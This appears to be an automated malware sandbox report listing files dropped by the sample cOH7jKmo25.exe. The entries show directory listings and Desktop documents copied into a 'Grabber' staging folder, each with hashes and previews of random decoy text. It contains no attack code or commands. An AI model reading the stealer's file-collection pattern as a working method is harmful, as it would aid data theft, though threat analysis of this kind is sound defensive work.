Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	88
Entropy (8bit):	4.450045114302317
Encrypted:	false
SSDEEP:	3:YzIVqIPLKmwHW8LKKrLKB:nqyLKmYNLKCLKB
MD5:	D430E8A326E3D75F5E49C40C111646E7
SHA1:	D8F2494185D04AB9954CD78268E65410768F6226
SHA-256:	22A45B5ECD9B66441AE7A7AB161C280B6606F920A6A6C25CD7B9C2D4CEB3254D
SHA-512:	1E8139844D02A3009EE89E2DC33CF9ED79E988867974B1291ABA8BC26C30CB952F10E88E0F44A4AEEE162A27E71EAA331CF8AC982B4179DC8203F6F7280BA5AE
Malicious:	false
Preview:	Pictures\...Camera Roll\....desktop.ini...Saved Pictures\....desktop.ini...desktop.ini..

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Directories\Startup.txt

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24
Entropy (8bit):	4.053508854797679
Encrypted:	false
SSDEEP:	3:jgBLKB:j4LKB
MD5:	68C93DA4981D591704CEA7B71CEBFB97
SHA1:	FD0F8D97463CD33892CC828B4AD04E03FC014FA6
SHA-256:	889ED51F9C16A4B989BDA57957D3E132B1A9C117EE84E208207F2FA208A59483
SHA-512:	63455C726B55F2D4DE87147A75FF04F2DAA35278183969CCF185D23707840DD84363BEC20D4E8C56252196CE555001CA0E61B3F4887D27577081FDEF9E946402
Malicious:	false
Preview:	Startup\...desktop.ini..

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Directories\Temp.txt

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4187
Entropy (8bit):	5.220128546520256
Encrypted:	false
SSDEEP:	96:4Y5u+6Iscp70/BF/87TlTchqrwt4aVGVV9c1MXaN8pWUwx:tppo/P/aghqrwtTVKVsl
MD5:	AF9EDD2CA133981A45B70ACD54192876
SHA1:	BF009FF48096AEF2A38BCFB1546060206AF4494A
SHA-256:	6E342D685BD56690C4B8DE5195A1FE329E84C77E0169F9B945B3CCE09BA86A28
SHA-512:	48F6DD89BB0DD41410E6C51909CB7352009DC9269F038B40E85F4DB797516E8BB864FA5DBA726778799A08BF3CCE3B82F56114FB5BF7C1FBD664E21C7789CB72
Malicious:	false
Preview:	Temp\...acrobat_sbx\....Adobe\.....Acrobat\......DC\....NGL\.....NGLClient_AcrobatReader123.6.20320.6 2023-10-05 10-15-05-306.log.....NGLClient_AcrobatReader123.6.20320.6 2023-10-05 10-15-18-157.log.....NGLClient_AcrobatReader123.6.20320.6.log....acroNGLLog.txt...acrocef_low\...acrord32_super_sbx\....Adobe\.....Acrobat\......DC\.......SearchEmbdIndex\...Diagnostics\....EXCEL\.....App1696496927224658700_B5BF1C8A-229F-4526-A25C-D3A2E446712A.log.....App1696496950623601400_E5720893-15E4-4CB6-92FD-3EE2C61DA02F.log.....App1696496966111814000_FA0A0DA0-8B37-4EDD-B760-67C212570E83.log.....App1696496966112282200_FA0A0DA0-8B37-4EDD-B760-67C212570E83.log...edge_BITS_3784_1300403242\....c78f9967-7a8c-44b0-ad94-732b63c89638...edge_BITS_3784_1441652407\....7f41fcdb-a3ef-47d4-86cb-0f3555d3db82...edge_BITS_3784_1453829056\....873489b1-33b2-480a-baa2-641b9e09edcd...edge_BITS_3784_1689570837\....ef5f792e-9df7-4748-accf-02ec33a4a2c4...edge_BITS_3784_1726059252\....c50698d5-282c-4c8d-9fa6-c155f2d8d379...ed

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Directories\Videos.txt

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	23
Entropy (8bit):	3.7950885863977324
Encrypted:	false
SSDEEP:	3:k+JrLKB:k+JrLKB
MD5:	1FDDBF1169B6C75898B86E7E24BC7C1F
SHA1:	D2091060CB5191FF70EB99C0088C182E80C20F8C
SHA-256:	A67AA329B7D878DE61671E18CD2F4B011D11CBAC67EA779818C6DAFAD2D70733
SHA-512:	20BFEAFDE7FEC1753FEF59DE467BD4A3DD7FE627E8C44E95FE62B065A5768C4508E886EC5D898E911A28CF6365F455C9AB1EBE2386D17A76F53037F99061FD4D
Malicious:	false
Preview:	Videos\...desktop.ini..

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Desktop\AFWAAFRXKO.pdf

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6868290294905215
Encrypted:	false
SSDEEP:	24:hl+yWbugHn0w0RW4TAvC5oC6Rkc1ZqX+STxhexRov:hQhuTwqTAvIuOuQXVEov
MD5:	E655D05DEDA782A6FE1E44028236D3A4
SHA1:	ABEF573CA92D8CD16E5ACE5C300A6BF07DF79722
SHA-256:	69FC1A8F39F8BD7E956A4C8EC0EC6210E8F4C7E223B49C20369A2B47F8512528
SHA-512:	25837AEEB2772BF69684BDB344208188E115AA8FCB06D5428F84D2ED15F4972FC6874B128CA3682D28900F5C0EB8B305151F831962D3021EE7BBD1447DAE93F5
Malicious:	false
Preview:	AFWAAFRXKOIMYUTEBKLCFYUSMPKBLLVLYCZSBYQARRBIDNMYLPLGAIJYBPXZRRCDKWUJCZFNZYWJLJWCPPNWNBUNUKWKANAFJTGSMNDNAIPWYCCUGZTWCXIDUHLKDIIFXVZZCBKTKZXKYBFQHLHAZSPAYNVQVCNGPTZLFAFXAUGISISAIITTEUPNXLWBPAUSCWOXHRUCHKENHIUHQCSETCRINBBJCUJCYIOYZUPBJXJBLMSTCMXHMOOYHKSQGTGUNLEDPMCFDKWDGOSMWYQNXDCAOPAGZLPKXQZAOHSJXYLJUCZGAXOJOEPCWBHGGKSAPLRCJRDKCIWGATZZLSAOXFPFIENHFZCCEZCGGYAJEEPJFJLQIMPYUUETJJFOGGKKJKFAHPRMCUJNDGTXMLAAQDGEQMDULWDPCAUXZTYYGKAFFQQHIKQHEATUJZECMPTEBTRHCFGIZWCYGIGHIPVWFTPPXSNUTYHQCLGJLUYHHVMGFOMHJDNRGDZFHRGYQORTAJWLGOELYKCPIANQGCAXIZOMJZOECZGAHFWNUAKKTHLAANRBUSOZZLNWUYMXDOWPYUFYBOZZZBBJKPNMFGUCBOUWTXXWSNOBHKCPLGIWSWHHNCKLLLPPBPRJTKGRWMIZJYLWMDVWGJOTUQLYVUGUJQWNZKEUZQCQHKTCMGXBZDWEEFWYQHSYEMWFFVJUDOFEXELJGUUNXPBJCIQBKCMDGDRNTXYAXFDSLPAGXBTGBIVFXAHNXSFIPLCMCBKLQODIOGOBZMULDRUZUBRXZWXQVZCCWQVEIFCHMCTEYQXZKNSQZNYDUYGPGUQJEKUPPOTOWMMILZMISKYYGSRXUSSWEEQRNYBWLFXYWKGQPPVHKNOOXEDYWLCRNTNRKUIUKCYQNZCKIXAOIPCOTLEREPCLILYTQLFKBOOMXEVVODZEITSUPQITOXCNMSODLXIRGYOVFXWNRMVUQTMIZKKEVHOWKLXSZARGDNQKVXETZPBS

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Desktop\AFWAAFRXKO.xlsx

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6868290294905215
Encrypted:	false
SSDEEP:	24:hl+yWbugHn0w0RW4TAvC5oC6Rkc1ZqX+STxhexRov:hQhuTwqTAvIuOuQXVEov
MD5:	E655D05DEDA782A6FE1E44028236D3A4
SHA1:	ABEF573CA92D8CD16E5ACE5C300A6BF07DF79722
SHA-256:	69FC1A8F39F8BD7E956A4C8EC0EC6210E8F4C7E223B49C20369A2B47F8512528
SHA-512:	25837AEEB2772BF69684BDB344208188E115AA8FCB06D5428F84D2ED15F4972FC6874B128CA3682D28900F5C0EB8B305151F831962D3021EE7BBD1447DAE93F5
Malicious:	false
Preview:	AFWAAFRXKOIMYUTEBKLCFYUSMPKBLLVLYCZSBYQARRBIDNMYLPLGAIJYBPXZRRCDKWUJCZFNZYWJLJWCPPNWNBUNUKWKANAFJTGSMNDNAIPWYCCUGZTWCXIDUHLKDIIFXVZZCBKTKZXKYBFQHLHAZSPAYNVQVCNGPTZLFAFXAUGISISAIITTEUPNXLWBPAUSCWOXHRUCHKENHIUHQCSETCRINBBJCUJCYIOYZUPBJXJBLMSTCMXHMOOYHKSQGTGUNLEDPMCFDKWDGOSMWYQNXDCAOPAGZLPKXQZAOHSJXYLJUCZGAXOJOEPCWBHGGKSAPLRCJRDKCIWGATZZLSAOXFPFIENHFZCCEZCGGYAJEEPJFJLQIMPYUUETJJFOGGKKJKFAHPRMCUJNDGTXMLAAQDGEQMDULWDPCAUXZTYYGKAFFQQHIKQHEATUJZECMPTEBTRHCFGIZWCYGIGHIPVWFTPPXSNUTYHQCLGJLUYHHVMGFOMHJDNRGDZFHRGYQORTAJWLGOELYKCPIANQGCAXIZOMJZOECZGAHFWNUAKKTHLAANRBUSOZZLNWUYMXDOWPYUFYBOZZZBBJKPNMFGUCBOUWTXXWSNOBHKCPLGIWSWHHNCKLLLPPBPRJTKGRWMIZJYLWMDVWGJOTUQLYVUGUJQWNZKEUZQCQHKTCMGXBZDWEEFWYQHSYEMWFFVJUDOFEXELJGUUNXPBJCIQBKCMDGDRNTXYAXFDSLPAGXBTGBIVFXAHNXSFIPLCMCBKLQODIOGOBZMULDRUZUBRXZWXQVZCCWQVEIFCHMCTEYQXZKNSQZNYDUYGPGUQJEKUPPOTOWMMILZMISKYYGSRXUSSWEEQRNYBWLFXYWKGQPPVHKNOOXEDYWLCRNTNRKUIUKCYQNZCKIXAOIPCOTLEREPCLILYTQLFKBOOMXEVVODZEITSUPQITOXCNMSODLXIRGYOVFXWNRMVUQTMIZKKEVHOWKLXSZARGDNQKVXETZPBS

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Desktop\AIXACVYBSB.png

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690067217069288
Encrypted:	false
SSDEEP:	12:wSQanHEC73FqjThUbJwuUn5qPyd2whRZfZOaH5KrqXzJI/y5bjbVMmRYAPL8fx7T:wHu73FWhUNwzqq2OfX82JdHRNPLcxdl
MD5:	4E32787C3D6F915D3CB360878174E142
SHA1:	57FF84FAEDF66015F2D79E1BE72A29D7B5643F47
SHA-256:	2BCD2A46D2DCED38DE96701E6D3477D8C9F4456FFAE5135C0605C8434BA60269
SHA-512:	CEC75D7CCFA70705732826C202D144A8AC913E7FCFE0D9B54F6A0D1EEC3253B6DEFFB91E551586DA15F56BA4DE8030AC23EE28B16BB80D1C5F1CB6BECF9C21BE
Malicious:	false
Preview:	AIXACVYBSBCZDJMZUDVNECMFSGJSAOAIXCJFDPHQJVUANUFFPQXVYJRUGYPJGKEJNXCBTXARAETAKFTJKVLIZEXLMOAPVEZRZZUIRDUKSPZRBPINNEKLCLXBHFZMBRJTUJZTRCGQGFRQCEVPUBAAPBHBTYYHDJZHHPMFAKXVJPQRQCRUFYPMNUCRRQOYXYEHXQEHWHFLZSBMLRRZFLLYUQLADTKEDXVDLKLPZTTCNAXMXPSTCHQKWMSRPNRZGULFHOTUOYUSIVJEHUYPRYGESSFFMBWDPFRMTVBZEHTJSPRMDJISAZPMEWNGPGIXXTDNHCOBSXAWEFWRZNECKZGORELWMEPSAPLSTZZPUKXURSKTFSUSFEZMXMAIMRJZNGCVKLOHPVMZEIXIISXVMQHQTSADYWZQSWYVJHHONOOSZPQVWIUFMVXBXYCJOMERCQSVXERFAOOENLKARQGTECAIXOXEZPFDFJHYFCKLADMCWYOMCITRHMECVVVNPNTSRXYGYRKZUTOFNBMHDZWYHPYLTWEIGWOIGBTHWYGIXBCUDYMZMTZNYQMZLMXKPNFZDUEXXQLFJZZZVOPBEZKTKTJCTNUPRCNNGCPTIHKPTGBJLGUENNUGTZVMZJGQGUVBRLOJZECBLINEKGSIRFWZPWMVYJNEPWGYIAHKMJRBZMRVIBPONMHBDQZYFBHDDMYBZZAFEPAQFFUPIGGYNSPVXUWNNCWAUZXAGCATPNHNNYICDCRMTKRODUCDDFZKHLISLVOIFZPDTOSIEREFHYEWUBJKJRWXMZUGCPUXCPEXUQPWTSKEYSDPEICDQMMKUKJLDNQEHQQCYKRMWOUSJVTVSZJTFZCDVNUMEIZFWDNWCNCSCHBYNKRUSXPVMRIHGXDUPKXMZUIELSRXMZAEUNCCYZTEYLUYYRNSFUTHFESJOLGKJVGGNVJKSFSETAIHYOMLBOPRYAHSCATJUXNTWVZPEMECBVVHKHDELQRTQBEBXPJJ

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Desktop\FACWLRWHGG.docx

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697648179966054
Encrypted:	false
SSDEEP:	24:7/Q+t6r35NjtdGQB2dOAzD/GKwLon05avvk5byZGOQz2DfwAo+O:7oW6Xjt062d6LonB05+Vjf/o+O
MD5:	2B743B2063E25195104B0EB24000FB09
SHA1:	4BBE8DC0F1389A8C2082A1A102960A6DFA417E3D
SHA-256:	6BADB679FA8F658AD5B4BCFA108CE3CB4B16267EC34D0FDA395E0FDE077D6A35
SHA-512:	BFEA76E052B182E0FF523B5CFECBEDF46C5ED526779A92A23CFD0E0395DCD144EDA9950D01BEA17543625355701A248DB7C0873AC0998C7E30FE67ACD88BEE4D
Malicious:	false
Preview:	FACWLRWHGGUTKNRRDSQUQMZCBEYWHIGWQWDXAGWJENXOZWOWCCXESYMPIJTGQXPROJMVQPSXGHSYMONETHUFZZZWYBNNWDANRHNFGNMAPXCFFQQDTCIMRCOHAFIBMTZBZPXSMFDYHLCTPITIFTXZUDBYTJZHJKELKYLZQHQZYMSBYEFXYIVGTQEWIVDJIQTEZWNDCOSWOXEYAPNQABIDGYTDJVUKMXYENQOXDATDTJVPVZZMHBTMCEKAZAPACJJWDWTDMDDUOUKVMXWLWQJIUBISHPDQERGKUJVZNEQXZLZLPAAWAIISWMNZUCNHVPXDFUMDEQXILTXQAJMAARGKYBBBICJHNOFJVCGSQMBWXMQELPZMSXWNWZOHIKTQHSNOOEOBJZYHKSWSISVNUCPTNDKLJPXFFKNAZWAKYWAQWKPWLPQBKZJOKHWXUBBXWKQFWXTNIZFYWIGTLBHZHKFRJPDBJYRQPQBTZUQVURGNTQJTFZCFBTOGNCSXOZYULXOKVYONRQOTNOMUPVCDBYIRPNYZSLKSNBOWQKKNJMJHNRUWBXYJGSZSPXSONGCMHTNOICXWNYGZZSXUAIERVNFFQNXDQVRWFMTTMSSSOBHILBUKCDGSMNJBQTRQLBDQKVRGXKWZVMFALQRGBPLMGEORKLBYALNGJAXLKGBFGJJGJRUDKBMQEFJXXWMAJRDTIEDANEPUIJCTTDZYEQDJPJIWYDQDRTRUDDZSJLFZYIHKHRWEGVLQCYQAPXOIJCBELZDZEOFPKSIJQMAQMSMXBREQEEHWXGMHEUPNGVSDZAPNVXQJCPLULFQIXRMSFCUNHHUFFJVFNQWNUUXSOMSNJWOYNUHTHGAZSWYOKIKISIGFZEGFZHQIREUWAJLPABARUVHOGZWCJTJIKKPAQXNJIPQCFVNQOWRXDIFVHURRRNGLTJZAUJLDZUVLHLMXGCRXOISIAINZBFTCEVMHTOSDRBUXYFVYIYXOYHKTGTSHIRYW

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Desktop\FACWLRWHGG.xlsx

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697648179966054
Encrypted:	false
SSDEEP:	24:7/Q+t6r35NjtdGQB2dOAzD/GKwLon05avvk5byZGOQz2DfwAo+O:7oW6Xjt062d6LonB05+Vjf/o+O
MD5:	2B743B2063E25195104B0EB24000FB09
SHA1:	4BBE8DC0F1389A8C2082A1A102960A6DFA417E3D
SHA-256:	6BADB679FA8F658AD5B4BCFA108CE3CB4B16267EC34D0FDA395E0FDE077D6A35
SHA-512:	BFEA76E052B182E0FF523B5CFECBEDF46C5ED526779A92A23CFD0E0395DCD144EDA9950D01BEA17543625355701A248DB7C0873AC0998C7E30FE67ACD88BEE4D
Malicious:	false
Preview:	FACWLRWHGGUTKNRRDSQUQMZCBEYWHIGWQWDXAGWJENXOZWOWCCXESYMPIJTGQXPROJMVQPSXGHSYMONETHUFZZZWYBNNWDANRHNFGNMAPXCFFQQDTCIMRCOHAFIBMTZBZPXSMFDYHLCTPITIFTXZUDBYTJZHJKELKYLZQHQZYMSBYEFXYIVGTQEWIVDJIQTEZWNDCOSWOXEYAPNQABIDGYTDJVUKMXYENQOXDATDTJVPVZZMHBTMCEKAZAPACJJWDWTDMDDUOUKVMXWLWQJIUBISHPDQERGKUJVZNEQXZLZLPAAWAIISWMNZUCNHVPXDFUMDEQXILTXQAJMAARGKYBBBICJHNOFJVCGSQMBWXMQELPZMSXWNWZOHIKTQHSNOOEOBJZYHKSWSISVNUCPTNDKLJPXFFKNAZWAKYWAQWKPWLPQBKZJOKHWXUBBXWKQFWXTNIZFYWIGTLBHZHKFRJPDBJYRQPQBTZUQVURGNTQJTFZCFBTOGNCSXOZYULXOKVYONRQOTNOMUPVCDBYIRPNYZSLKSNBOWQKKNJMJHNRUWBXYJGSZSPXSONGCMHTNOICXWNYGZZSXUAIERVNFFQNXDQVRWFMTTMSSSOBHILBUKCDGSMNJBQTRQLBDQKVRGXKWZVMFALQRGBPLMGEORKLBYALNGJAXLKGBFGJJGJRUDKBMQEFJXXWMAJRDTIEDANEPUIJCTTDZYEQDJPJIWYDQDRTRUDDZSJLFZYIHKHRWEGVLQCYQAPXOIJCBELZDZEOFPKSIJQMAQMSMXBREQEEHWXGMHEUPNGVSDZAPNVXQJCPLULFQIXRMSFCUNHHUFFJVFNQWNUUXSOMSNJWOYNUHTHGAZSWYOKIKISIGFZEGFZHQIREUWAJLPABARUVHOGZWCJTJIKKPAQXNJIPQCFVNQOWRXDIFVHURRRNGLTJZAUJLDZUVLHLMXGCRXOISIAINZBFTCEVMHTOSDRBUXYFVYIYXOYHKTGTSHIRYW

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Desktop\FACWLRWHGG\AFWAAFRXKO.pdf

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6868290294905215
Encrypted:	false
SSDEEP:	24:hl+yWbugHn0w0RW4TAvC5oC6Rkc1ZqX+STxhexRov:hQhuTwqTAvIuOuQXVEov
MD5:	E655D05DEDA782A6FE1E44028236D3A4
SHA1:	ABEF573CA92D8CD16E5ACE5C300A6BF07DF79722
SHA-256:	69FC1A8F39F8BD7E956A4C8EC0EC6210E8F4C7E223B49C20369A2B47F8512528
SHA-512:	25837AEEB2772BF69684BDB344208188E115AA8FCB06D5428F84D2ED15F4972FC6874B128CA3682D28900F5C0EB8B305151F831962D3021EE7BBD1447DAE93F5
Malicious:	false
Preview:	AFWAAFRXKOIMYUTEBKLCFYUSMPKBLLVLYCZSBYQARRBIDNMYLPLGAIJYBPXZRRCDKWUJCZFNZYWJLJWCPPNWNBUNUKWKANAFJTGSMNDNAIPWYCCUGZTWCXIDUHLKDIIFXVZZCBKTKZXKYBFQHLHAZSPAYNVQVCNGPTZLFAFXAUGISISAIITTEUPNXLWBPAUSCWOXHRUCHKENHIUHQCSETCRINBBJCUJCYIOYZUPBJXJBLMSTCMXHMOOYHKSQGTGUNLEDPMCFDKWDGOSMWYQNXDCAOPAGZLPKXQZAOHSJXYLJUCZGAXOJOEPCWBHGGKSAPLRCJRDKCIWGATZZLSAOXFPFIENHFZCCEZCGGYAJEEPJFJLQIMPYUUETJJFOGGKKJKFAHPRMCUJNDGTXMLAAQDGEQMDULWDPCAUXZTYYGKAFFQQHIKQHEATUJZECMPTEBTRHCFGIZWCYGIGHIPVWFTPPXSNUTYHQCLGJLUYHHVMGFOMHJDNRGDZFHRGYQORTAJWLGOELYKCPIANQGCAXIZOMJZOECZGAHFWNUAKKTHLAANRBUSOZZLNWUYMXDOWPYUFYBOZZZBBJKPNMFGUCBOUWTXXWSNOBHKCPLGIWSWHHNCKLLLPPBPRJTKGRWMIZJYLWMDVWGJOTUQLYVUGUJQWNZKEUZQCQHKTCMGXBZDWEEFWYQHSYEMWFFVJUDOFEXELJGUUNXPBJCIQBKCMDGDRNTXYAXFDSLPAGXBTGBIVFXAHNXSFIPLCMCBKLQODIOGOBZMULDRUZUBRXZWXQVZCCWQVEIFCHMCTEYQXZKNSQZNYDUYGPGUQJEKUPPOTOWMMILZMISKYYGSRXUSSWEEQRNYBWLFXYWKGQPPVHKNOOXEDYWLCRNTNRKUIUKCYQNZCKIXAOIPCOTLEREPCLILYTQLFKBOOMXEVVODZEITSUPQITOXCNMSODLXIRGYOVFXWNRMVUQTMIZKKEVHOWKLXSZARGDNQKVXETZPBS

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Desktop\FACWLRWHGG\AIXACVYBSB.png

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690067217069288
Encrypted:	false
SSDEEP:	12:wSQanHEC73FqjThUbJwuUn5qPyd2whRZfZOaH5KrqXzJI/y5bjbVMmRYAPL8fx7T:wHu73FWhUNwzqq2OfX82JdHRNPLcxdl
MD5:	4E32787C3D6F915D3CB360878174E142
SHA1:	57FF84FAEDF66015F2D79E1BE72A29D7B5643F47
SHA-256:	2BCD2A46D2DCED38DE96701E6D3477D8C9F4456FFAE5135C0605C8434BA60269
SHA-512:	CEC75D7CCFA70705732826C202D144A8AC913E7FCFE0D9B54F6A0D1EEC3253B6DEFFB91E551586DA15F56BA4DE8030AC23EE28B16BB80D1C5F1CB6BECF9C21BE
Malicious:	false
Preview:	AIXACVYBSBCZDJMZUDVNECMFSGJSAOAIXCJFDPHQJVUANUFFPQXVYJRUGYPJGKEJNXCBTXARAETAKFTJKVLIZEXLMOAPVEZRZZUIRDUKSPZRBPINNEKLCLXBHFZMBRJTUJZTRCGQGFRQCEVPUBAAPBHBTYYHDJZHHPMFAKXVJPQRQCRUFYPMNUCRRQOYXYEHXQEHWHFLZSBMLRRZFLLYUQLADTKEDXVDLKLPZTTCNAXMXPSTCHQKWMSRPNRZGULFHOTUOYUSIVJEHUYPRYGESSFFMBWDPFRMTVBZEHTJSPRMDJISAZPMEWNGPGIXXTDNHCOBSXAWEFWRZNECKZGORELWMEPSAPLSTZZPUKXURSKTFSUSFEZMXMAIMRJZNGCVKLOHPVMZEIXIISXVMQHQTSADYWZQSWYVJHHONOOSZPQVWIUFMVXBXYCJOMERCQSVXERFAOOENLKARQGTECAIXOXEZPFDFJHYFCKLADMCWYOMCITRHMECVVVNPNTSRXYGYRKZUTOFNBMHDZWYHPYLTWEIGWOIGBTHWYGIXBCUDYMZMTZNYQMZLMXKPNFZDUEXXQLFJZZZVOPBEZKTKTJCTNUPRCNNGCPTIHKPTGBJLGUENNUGTZVMZJGQGUVBRLOJZECBLINEKGSIRFWZPWMVYJNEPWGYIAHKMJRBZMRVIBPONMHBDQZYFBHDDMYBZZAFEPAQFFUPIGGYNSPVXUWNNCWAUZXAGCATPNHNNYICDCRMTKRODUCDDFZKHLISLVOIFZPDTOSIEREFHYEWUBJKJRWXMZUGCPUXCPEXUQPWTSKEYSDPEICDQMMKUKJLDNQEHQQCYKRMWOUSJVTVSZJTFZCDVNUMEIZFWDNWCNCSCHBYNKRUSXPVMRIHGXDUPKXMZUIELSRXMZAEUNCCYZTEYLUYYRNSFUTHFESJOLGKJVGGNVJKSFSETAIHYOMLBOPRYAHSCATJUXNTWVZPEMECBVVHKHDELQRTQBEBXPJJ

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Desktop\FACWLRWHGG\FACWLRWHGG.docx

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697648179966054
Encrypted:	false
SSDEEP:	24:7/Q+t6r35NjtdGQB2dOAzD/GKwLon05avvk5byZGOQz2DfwAo+O:7oW6Xjt062d6LonB05+Vjf/o+O
MD5:	2B743B2063E25195104B0EB24000FB09
SHA1:	4BBE8DC0F1389A8C2082A1A102960A6DFA417E3D
SHA-256:	6BADB679FA8F658AD5B4BCFA108CE3CB4B16267EC34D0FDA395E0FDE077D6A35
SHA-512:	BFEA76E052B182E0FF523B5CFECBEDF46C5ED526779A92A23CFD0E0395DCD144EDA9950D01BEA17543625355701A248DB7C0873AC0998C7E30FE67ACD88BEE4D
Malicious:	false
Preview:	FACWLRWHGGUTKNRRDSQUQMZCBEYWHIGWQWDXAGWJENXOZWOWCCXESYMPIJTGQXPROJMVQPSXGHSYMONETHUFZZZWYBNNWDANRHNFGNMAPXCFFQQDTCIMRCOHAFIBMTZBZPXSMFDYHLCTPITIFTXZUDBYTJZHJKELKYLZQHQZYMSBYEFXYIVGTQEWIVDJIQTEZWNDCOSWOXEYAPNQABIDGYTDJVUKMXYENQOXDATDTJVPVZZMHBTMCEKAZAPACJJWDWTDMDDUOUKVMXWLWQJIUBISHPDQERGKUJVZNEQXZLZLPAAWAIISWMNZUCNHVPXDFUMDEQXILTXQAJMAARGKYBBBICJHNOFJVCGSQMBWXMQELPZMSXWNWZOHIKTQHSNOOEOBJZYHKSWSISVNUCPTNDKLJPXFFKNAZWAKYWAQWKPWLPQBKZJOKHWXUBBXWKQFWXTNIZFYWIGTLBHZHKFRJPDBJYRQPQBTZUQVURGNTQJTFZCFBTOGNCSXOZYULXOKVYONRQOTNOMUPVCDBYIRPNYZSLKSNBOWQKKNJMJHNRUWBXYJGSZSPXSONGCMHTNOICXWNYGZZSXUAIERVNFFQNXDQVRWFMTTMSSSOBHILBUKCDGSMNJBQTRQLBDQKVRGXKWZVMFALQRGBPLMGEORKLBYALNGJAXLKGBFGJJGJRUDKBMQEFJXXWMAJRDTIEDANEPUIJCTTDZYEQDJPJIWYDQDRTRUDDZSJLFZYIHKHRWEGVLQCYQAPXOIJCBELZDZEOFPKSIJQMAQMSMXBREQEEHWXGMHEUPNGVSDZAPNVXQJCPLULFQIXRMSFCUNHHUFFJVFNQWNUUXSOMSNJWOYNUHTHGAZSWYOKIKISIGFZEGFZHQIREUWAJLPABARUVHOGZWCJTJIKKPAQXNJIPQCFVNQOWRXDIFVHURRRNGLTJZAUJLDZUVLHLMXGCRXOISIAINZBFTCEVMHTOSDRBUXYFVYIYXOYHKTGTSHIRYW

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Desktop\FACWLRWHGG\PSAMNLJHZW.xlsx

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	PSA archive data
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698960923923406
Encrypted:	false
SSDEEP:	24:mGnbK2uIv9xuPtDhsIChdpYx5eCmVRCqmDCL4yq/6jv:fpuVKIChHYve9RC2LpEK
MD5:	186B4E00711974F7AF578BD6FF959BBF
SHA1:	642B794D73FB09655FBFF8EDCAAA267634554569
SHA-256:	2505B69640298D08BF2DC435A6D289C1FE7ABB349D2017F63EAD8CD2C94199EF
SHA-512:	DD6260B7AF96C7449D3DB4826888F7EAD8F274F9E170E103D588B0AB00A044B5978544A10F7B3C0C8464B74FD10B087C5671177AC1468D7F172DF4E7644A336E
Malicious:	false
